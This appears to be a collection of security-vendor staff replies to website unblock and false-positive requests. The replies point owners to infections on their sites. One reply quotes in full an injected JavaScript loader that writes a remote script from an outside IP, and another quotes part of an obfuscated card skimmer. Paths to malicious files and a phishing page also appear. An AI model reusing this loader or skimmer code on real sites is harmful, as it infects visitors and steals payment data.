[False Positive]

21 hours ago, RandyM said:

Two professors have attempted to access our web mail system from home. Both are using MalwareBytes Premium 4.3.0 with Real-Time Protection.

They are allowed to log in but receive an error that the web site is being blocked because of phishing. The behavior began this morning (Monday). The server is law.stcl.edu (207.81.174.171).

Hello RandyM,

Can you remove this malicious file, please -

stcl.edu/wp-content/uploads/formidable/116/hq-Demon-Slayer-Mugen-Train-Movie-Online-8-May.pdf

?

[False positive a.o333o.com]

16 hours ago, soundrussian said:

Our domain a.o333o.com has been marked as Malvertising. We use it to redirect a visitor to a specific ad from another ad network.

We are a service that allows publishers to display ads from different Ad Networks through our scripts, and sometimes bad ads may leak through. Perhaps that's why our domain has been marked as Malvertising. We do our best to remove bad ads as soon as possible, so we believe that no malvertising is served through our domain.

VirusTotal has no complaints about our domain: https://www.virustotal.com/gui/url/f140eb535e47875a6fdfdd3f5f63261b33c842ec36677b4a7bd4adaa0a94c1d7/detection

Please, remove a.o333o.com from the block list.

Please remove this redirect -

https://a.o333o.com/api/direct/29348

Thank you for your help!

[optimis.bogorkab.go.id blocked due to trojan]

Thanks, the block will be removed.

Wish you a great day!

[Remove website from block list?]

Thanks, the block will be removed.

Have a great day!

[https://soopllc.com/ does NOT have Malware]

Since the website seems clean now, the block will be removed.

Have a great day!

[False positive: https://www.behappy2day.com]

Thanks, the IP seems clean now, so I will be removing the block.

Have a great day!

[Possible false positive - hxxps:\\www.seclan.com (81.19.112.23)]

Hello Jouni,

It seems that your website has been infected with a malicious script -

<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

Can you check the source code and remove it, please?

[cgmfoods.com]

13 hours ago, Linetsky said:

The website is still being blocked despite having removed the code. Do I need to do something else?

Thanks, the block will be removed. :)

[cgmfoods.com]

On 4/16/2021 at 9:41 PM, Linetsky said:

Malwarebytes suddenly started blocking cgmfoods.com. I looked at the logs but nothing useful. How can I resolve this issue? The website was scanned on virus total and showed up healthy.

Hello Linetsky,

Unfortunately, your website is infected with a skimmer, please remove this malicious script from your website -

<script>var _0x43fe=["\x68\x61\x73\x68\x43\x6F\x64\x65","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x6C\x65\x6E\x67\x74\x68"," etc.

Thanks!

[Website blocked: warmplace.ru]

Thanks ast, the block will be removed as there are no threats noted at this point.

[False alarm]

Hello jmkbird,

Thanks so much for your help, the rule has been disabled.

Have a wonderful day!

[IP & IP range removal 157.90.128.246, 157.90.203.64 - 157.90.203.95]

Hello Ilias_ant,

Since the IP is clean now, I will be removing the block.

Have a great day!

[False Positive internalupdates.kinsta.cloud]

15 hours ago, kinsta_abuse_team said:

Hi this is Sal from Kinsta's Malware & Abuse team.

We recently became aware there is a wildcard block on *.kinsta.cloud - this is impacting all subdomains on our platform. Please remove the wildcard block and just do a subdomain block to avoid impacting everyone and just blocking the infected sites. We look forward to your feedback to collaborate on this issue.

Thanks

Salvador Aguilar
Malware & Abuse Engineer

Hello Salvador,

Can you please remove the phishing page that is hosted here -

saudiiposthomee.kinsta.cloud/saudis/box_tracks/box_track/index/

?

Thanks!

[Website unblocking casinonewsdaily.com]

Hello Atila,

The block will be removed, have a great day!

[False positive for cdn.skunity.com as Trojan]

Hello BaeFell,

The block will be reviewed.

[Website unblocking]

Hello Atila,

Thanks, the block will be reviewed.

[False positive on panel.domeny.pl]

Thanks AdrianKielbsa,

The block will be reviewed.

[propertytraders.co.uk, 199.59.242.153]

The IP has been added because of the brute-force attacks.

You can also check the reports here -

https://www.abuseipdb.com/check/199.59.242.153

[2606:4700:20::681a:227 - cybevasion.fr]

Hello,

Can you please remove this file first -

http://www.cybevasion.fr/messagerie/854577_0_26.zip

?

[False positive]

Since the website is clean, the block will be removed.

[Sync Utility - SyncTrazor / Synthing]

Hi Time_Dj,

Since the IP has been cleaned, the block will be removed.

[website blocked]

Thanks Rachna,

The block will be reviewed. :)

[Malwarebytes is blocking Cloudflare IPs for domain name flightkelly.com]

Hello P44,

This is a legit detection -

https://www.virustotal.com/gui/file/d3e66a87065ccc02fe47bb2611e3e49f8af311e7eff9ecc6178461fd16c98c03/detection

Can you please post the protection log? As it is possible that your browser has been infected by a malicious extension.

[False Positive - 104.26.6.173]

The block has been removed. :)

[Another Possible False Positive? (steam.mmoscv.com)]

Thanks Molly2925,

The block will be reviewed.